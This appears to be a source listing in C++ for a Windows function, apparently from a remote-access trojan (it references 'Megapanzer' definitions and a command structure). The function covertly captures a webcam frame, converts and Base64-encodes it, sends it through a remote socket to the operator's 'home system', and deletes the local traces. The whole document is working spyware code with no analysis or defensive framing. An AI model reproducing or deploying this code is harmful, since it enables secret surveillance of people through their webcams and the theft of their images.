[C++] Webcam Capture

Webcam Capture code

#include <stdio.h>

#include <windows.h>

#include <Vfw.h>

#include "Megapanzer_Definitions.h"

extern HWND gWND;

DWORD WINAPI sendWebcamCaptureInfos(PVOID pParameter)

{

  HWND lWndVideoHandle;

  CAPSTATUS lCapStat;

  DWORD lRetVal = 0;

  char *lBMPFileName = "info.bmp";

  char *lJPGFileName = "info.jpg";

  char lJPGFileBaseName[MAX_BUF_SIZE + 1];

  HANDLE lFileHandle = INVALID_HANDLE_VALUE;

  DWORD lJPGFileSize = 0;

  char *lPreEncodedData = NULL;

  char *lEncodedData = NULL;

  DWORD lBytesRead = 0;

  char lTemp[MAX_BUF_SIZE + 1];

  int lFuncRetVal = 0;

  PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;

  SYSTEMTIME lSystemTime;

  /*

   * initialize values

   */

  ZeroMemory(&lCapStat, sizeof(CAPSTATUS));

  ZeroMemory(&lSystemTime, sizeof(lSystemTime));

  ZeroMemory(lJPGFileBaseName, sizeof(lJPGFileBaseName));

  GetLocalTime(&lSystemTime);

  snprintf(lJPGFileBaseName, sizeof(lJPGFileBaseName) - 1,  "%04d-%02d-%02d-%02d-%02d-%02d.jpg", lSystemTime.wYear,  lSystemTime.wMonth, lSystemTime.wDay, lSystemTime.wHour,  lSystemTime.wMinute, lSystemTime.wSecond);

  ZeroMemory(lTemp, sizeof(lTemp));

  _snprintf(lTemp, sizeof(lTemp) - 1, "<webcam>");

  lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);

  /*

   * capture webcam frame

   */

  Sleep(500);

  lWndVideoHandle = capCreateCaptureWindow("WebCam",WS_CHILD, 0, 0, 320, 240,(HWND) gWND, (int) 1);

  capDriverConnect(lWndVideoHandle, 0);

  Sleep(1000);

  capGetStatus(lWndVideoHandle, &lCapStat, sizeof(CAPSTATUS));

  capGrabFrame(lWndVideoHandle);

  capEditCopy(lWndVideoHandle);

  capFileSaveDIB(lWndVideoHandle, lBMPFileName) ;

  capDriverDisconnect(lWndVideoHandle) ;

  DestroyWindow(lWndVideoHandle);

  convertBMP2JPG(lBMPFileName, lJPGFileName);

  if ((lFileHandle = CreateFileA(lJPGFileName, GENERIC_READ, 0, NULL,  OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)

  {

    lJPGFileSize = GetFileSize(lFileHandle, 0);

    /*

     * encocd created jpg file

     */

    if ((lPreEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)

    {

      ReadFile(lFileHandle, lPreEncodedData, lJPGFileSize, (unsigned long *) &lBytesRead, NULL);

      CloseHandle(lFileHandle);

      if ((lEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)

      {

       /*

       * transfer picture data to home system

       */

        Base64encode(lEncodedData, lPreEncodedData, lBytesRead);

        ZeroMemory(lTemp, sizeof(lTemp));

        _snprintf(lTemp, sizeof(lTemp) - 1, "<filename>%s</filename><filecontent>", lJPGFileBaseName);

        lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);

        lFuncRetVal = send(lCommandStructure->lRemoteSocket, lEncodedData, Base64encode_len(lBytesRead) - 1, 0);

        ZeroMemory(lTemp, sizeof(lTemp));

        _snprintf(lTemp, sizeof(lTemp) - 1, "</filecontent>");

        lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);

      } // if ((lEncodedData = (char *) He...

    } // if ((lPreEncodedData = (char *) HeapAlloc(GetP...

  } // if ((lFileHandle = CreateFileA(lJPGFileFullPath,...

  ZeroMemory(lTemp, sizeof(lTemp));

  _snprintf(lTemp, sizeof(lTemp) - 1, "</webcam>");

  lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);

  /*

   * cleaning up before returning

   */

  DeleteFile("info.bmp");

  DeleteFile("info.jpg");

  return(lRetVal);

}